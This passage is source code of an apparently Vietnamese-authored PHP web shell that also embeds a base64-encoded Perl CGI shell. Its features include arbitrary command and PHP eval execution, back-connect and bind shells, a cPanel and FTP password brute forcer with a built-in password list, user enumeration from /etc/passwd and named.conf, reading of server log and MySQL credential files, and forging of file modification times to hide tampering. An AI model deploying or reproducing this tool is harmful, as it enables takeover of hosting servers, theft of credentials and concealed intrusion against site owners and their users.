ZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsKCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOwoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKTsgcmV0dXJuIGZhbHNlO1wiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGQwbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPldhcm5pbmcgISBTaGVsbCBpcyB1c2VkIHRvIHJlZmVyIG5vdCB0byBoYWNrPC9mb250PjwvaDM+IjsKCWlmICgkZXJyKQoJewoJCSRyZXN1bHQgLj0gICgnPHA+QzB1bGRuXCd0IEJ5cGFzcyBpdCAsIFNvcnJ5PC9wPicpOwoJCXJldHVybiAkcmVzdWx0OwoJfWVsc2UKCXsKCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsKCX0KCWZvcmVhY2ggbXkgJG9uZSAoQGNuenMpCgl7CgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykKCQl7CQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZmlsZW5hbWU9IHRyaW0oIi9ldGMvdmFsaWFzZXMvIi4kMSk7CgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsKCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOwoJCX0KCX0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBWaWV3IExvZwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3TG9nCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCWlmKCRXaW5OVCkKCXsKCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOwoJfQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsKCW15IEBwYXRobG9nPSgJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZTIvY29uZi9odHRwZC5jb25mJywKCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xpY2Vuc2VfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywKCQkJJy92YXIvY3BhbmVsL2NwYW5lbC5jb25maWcnLAoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLAoJCQknL3Vzci9sb2NhbC9waHA1L2xpYi9waHAuaW5pJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywKCQkJJy92YXIvbG9nL215c3FsZGVycm9yLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLAoJCQknL3Zhci9teXNxbC5sb2cnLAoJCQknL3Zhci9saWIvbXlzcWwvbXkuY25mJywKCQkJJy9ldGMvbXlzcWwvbXkuY25mJywKCQkJJy9ldGMvbXkuY25mJywKCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC1yICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJfQoJCSRyZXN1bHQgLj08PEVORDsKCQk8dHI+CgoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImxvZyRpIiBuYW1lPSJjIiB2YWx1ZT0idGFpbCAtMTAwMDAgJGxvZyB8IGdyZXAgJy9ob21lJyIgc2l6ZT0nNTAnLz48L3RkPgoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZUcmltU2xhc2hlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJ30pKSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbgp7CgkmUGVyZm9ybUxvZ2luOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5CnsKCSZQcmludFBhZ2VIZWFkZXIoImQiKTsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCRjaG1vZCBuZSAwKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQlpZihjaG1vZCgkY2htb2QsJGZpbGUpKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZigkcmVuYW1lIG5lICIiKQoJewoJCWlmKHJlbmFtZSgkVHJhbnNmZXJGaWxlLCRyZW5hbWUpKQoJCXsKCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCX1lbHNlCgkJewoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCX0KCX0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsKCWlmKCRyZW1vdmUgbmUgIiIpCgl7CgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsKCQlpZigtZCAkcm0pCgkJewoJCQkmUm1EaXIoJHJtKTsKCQl9ZWxzZQoJCXsKCQkJaWYodW5saW5rKCRybSkpCgkJCXsKCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQkJfWVsc2UKCQkJewoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQkJfQkJCQoJCX0KCX0KCXByaW50ICZMaXN0RGlyOwoKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZAp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7Cn0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQoJewoJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCX1lbHNlCgl7CgkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCX0KCXByaW50ICZMaXN0RGlyOwp9ZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmVXBsb2FkRmlsZTsKfWVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOwo=
- ';
- $file = fopen("error.log", "w+");
- $write = fwrite($file, base64_decode($pythonp));
- fclose($file);
- chmod("error.log", 0755);
- echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";
- }
- // Brute
- elseif ($action == 'brute') {
- formhead(array('title' => 'Brute Forcer'));
- makehide('action', 'brute');
- makehide('dir', $brute);
- @ini_set('memory_limit', 1000000000000);
- $connect_timeout = 5;
- @set_time_limit(0);
- $submit = $_REQUEST['submit'];
- $users = $_REQUEST['users'];
- $pass = $_REQUEST['passwords'];
- $target = $_REQUEST['target'];
- $option = $_REQUEST['option'];
- $passlist = "123pass
- 123!@#
- 123admin
- 123abc
- 123456admin
- 1234554321
- 12344321
- pass123
- admin
- admincp
- administrator
- matkhau
- passadmin
- p@ssword
- password
- 012345
- 123456
- 1234567
- 12345678
- 123456789
- 1234567890
- 111111
- 000000
- 222222
- 333333
- 444444
- 555555
- 666666
- 777777
- 888888
- 999999
- 123123
- 234234
- 345345
- 456456
- 567567
- 678678
- 789789
- 123321
- 456654
- 654321
- 7654321
- 87654321
- 987654321
- 0987654321
- admin123
- admin123456
- abcdef
- abcabc
- !@#!@#
- !@#$%^
- !@#$%^&*(
- !@#$$#@!
- abc123
- anhyeuem
- iloveyou
- admin
- administrator
- admincp
- cpanel
- adminx
- admins
- password
- passwords
- passw0rd
- p@ssw0rd
- p@ssword
- khongco
- 25251325
- passw0rds";
- if ($target == '') {
- $target = 'localhost';
- }
- print " <div align='center'>
- <form method='post' style='border: 1px solid #000000'><br><br>
- <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
- <b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
- <div align='center'><br>
- <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
- <tr>
- <td align='center'>
- <b>Username</b></td>
- <td>
- <p align='center'>
- <b>Password</b></td>
- </tr>
- </table>
- <p align='center'>
- <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
- $i = 0;
- while ($i < 60000) {
- $line = posix_getpwuid($i);
- if (!empty($line)) {
- while (list($key, $vba_etcpwd) = each($line)) {
- echo "" . $vba_etcpwd . "\n";
- break;
- }
- }
- $i++;
- }
- echo "
- </textarea>
- <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
- <br>
- <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
- <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
- </td></tr></table></td></tr></form><p align= 'left'>";
- ?>
- <?php
- function ftp_check($host, $user, $pass, $timeout) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "ftp://$host");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
- curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
- curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FAILONERROR, 1);
- $data = curl_exec($ch);
- if (curl_errno($ch) == 28) {
- print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
- exit;
- } elseif (curl_errno($ch) == 0) {
- p("<b>[ parkhiipz@gmail.com ]# </b>
- <b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>login</a></b><br>");
- }
- curl_close($ch);
- }
- function cpanel_check($host, $user, $pass, $timeout) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
- curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FAILONERROR, 1);
- $data = curl_exec($ch);
- if (curl_errno($ch) == 28) {
- print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
- exit;
- } elseif (curl_errno($ch) == 0) {
- p("<b>[ parkhiipz@gmail.com ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");
- }
- curl_close($ch);
- }
- if (isset($submit) && !empty($submit)) {
- $userlist = explode("\n", $users);
- $passlist = explode("\n", $pass);
- p('<b>[ parkhiipz@gmail.com ]# Attacking ...</font></b><br>');
- foreach ($userlist as $user) {
- $_user = trim($user);
- foreach ($passlist as $password) {
- $_pass = trim($password);
- if ($option == "ftp") {
- ftp_check($target, $_user, $_pass, $connect_timeout);
- }
- if ($option == "cpanel") {
- cpanel_check($target, $_user, $_pass, $connect_timeout);
- }
- }
- }
- }
- formfoot();
- } elseif ($action == 'etcpwd') {
- formhead(array('title' => 'Get /etc/passwd'));
- makehide('action', 'etcpwd');
- makehide('dir', $nowpath);
- $i = 0;
- echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
- while ($i < 60000) {
- $line = posix_getpwuid($i);
- if (!empty($line)) {
- while (list($key, $vba_etcpwd) = each($line)) {
- echo "" . $vba_etcpwd . "\n";
- break;
- }
- }
- $i++;
- }
- echo "</textarea></p>";
- formfoot();
- } elseif ($action == 'eval') {
- $phpcode = trim($phpcode);
- if ($phpcode) {
- if (!preg_match('#<\?#si', $phpcode)) {
- $phpcode = "<?php\n\n{$phpcode}\n\n?>";
- }
- eval("?" . ">$phpcode<?");
- }
- formhead(array('title' => 'Eval PHP Code'));
- makehide('action', 'eval');
- maketext(array('title' => 'PHP Code', 'name' => 'phpcode', 'value' => $phpcode));
- p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
- formfooter();
- } //end eval
- elseif ($action == 'editfile') {
- if (file_exists($opfile)) {
- $fp = @fopen($opfile, 'r');
- $contents = @fread($fp, filesize($opfile));
- @fclose($fp);
- $contents = htmlspecialchars($contents);
- }
- formhead(array('title' => 'Create / Edit File'));
- makehide('action', 'file');
- makehide('dir', $nowpath);
- makeinput(array('title' => 'Current File (import new file name and new file)', 'name' => 'editfilename', 'value' => $opfile, 'newline' => 1));
- maketext(array('title' => 'File Content', 'name' => 'filecontent', 'value' => $contents));
- formfooter();
- } //end editfile
- elseif ($action == 'newtime') {
- $opfilemtime = @filemtime($opfile);
- //$time = strtotime("$year-$month-$day $hour:$minute:$second");
- $cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
- formhead(array('title' => 'Clone file was last modified time'));
- makehide('action', 'file');
- makehide('dir', $nowpath);
- makeinput(array('title' => 'Alter file', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
- makeinput(array('title' => 'Reference file (fullpath)', 'name' => 'tarfile', 'size' => 120, 'newline' => 1));
- formfooter();
- formhead(array('title' => 'Set last modified'));
- makehide('action', 'file');
- makehide('dir', $nowpath);
- makeinput(array('title' => 'Current file (fullpath)', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
- p('<p>Instead »');
- p('year:');
- makeinput(array('name' => 'year', 'value' => date('Y', $opfilemtime), 'size' => 4));
- p('month:');
- makeinput(array('name' => 'month', 'value' => date('m', $opfilemtime), 'size' => 2));
- p('day:');
- makeinput(array('name' => 'day', 'value' => date('d', $opfilemtime), 'size' => 2));
- p('hour:');
- makeinput(array('name' => 'hour', 'value' => date('H', $opfilemtime), 'size' => 2));
- p('minute:');
- makeinput(array('name' => 'minute', 'value' => date('i', $opfilemtime), 'size' => 2));
- p('second:');
- makeinput(array('name' => 'second', 'value' => date('s', $opfilemtime), 'size' => 2));
- p('</p>');
- formfooter();
- } //end newtime
- elseif ($action == 'shell') {
- if (IS_WIN && IS_COM) {
- if ($program && $parameter) {
- $shell = new COM('Shell.Application');
- $a = $shell->ShellExecute($program, $parameter);
- m('Program run has ' . (!$a ? 'success' : 'fail'));
- }
- !$program && $program = 'c:\windows\system32\cmd.exe';
- !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
- formhead(array('title' => 'Execute Program'));
- makehide('action', 'shell');
- makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
- p('<p>');
- makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
- makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
- p('</p>');
- formfoot();
- }
- formhead(array('title' => 'Execute Command'));
- makehide('action', 'shell');
- if (IS_WIN && IS_COM) {
- $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
- makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
- }
- p('<p>');
- makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
- makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
- p('</p>');
- formfoot();
- if ($command) {
- p('<hr width="100%" noshade /><pre>');
- if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
- $wsh = new COM('WScript.shell');
- $exec = $wsh->exec('cmd.exe /c ' . $command);
- $stdout = $exec->StdOut();
- $stroutput = $stdout->ReadAll();
- echo $stroutput;
- } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
- $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
- $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
- if (is_resource($process)) {
- fwrite($pipes[0], $command . "\r\n");
- fwrite($pipes[0], "exit\r\n");
- fclose($pipes[0]);
- while (!feof($pipes[1])) {
- echo fgets($pipes[1], 1024);
- }
- fclose($pipes[1]);
- while (!feof($pipes[2])) {
- echo fgets($pipes[2], 1024);
- }
- fclose($pipes[2]);
- proc_close($process);
- }
- } else {
- echo (execute($command));
- }
- p('</pre>');
- }
- } //end shell
- elseif ($action == 'phpenv') {
- $upsize = getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
- $adminmail = isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
- !$dis_func && $dis_func = 'No';
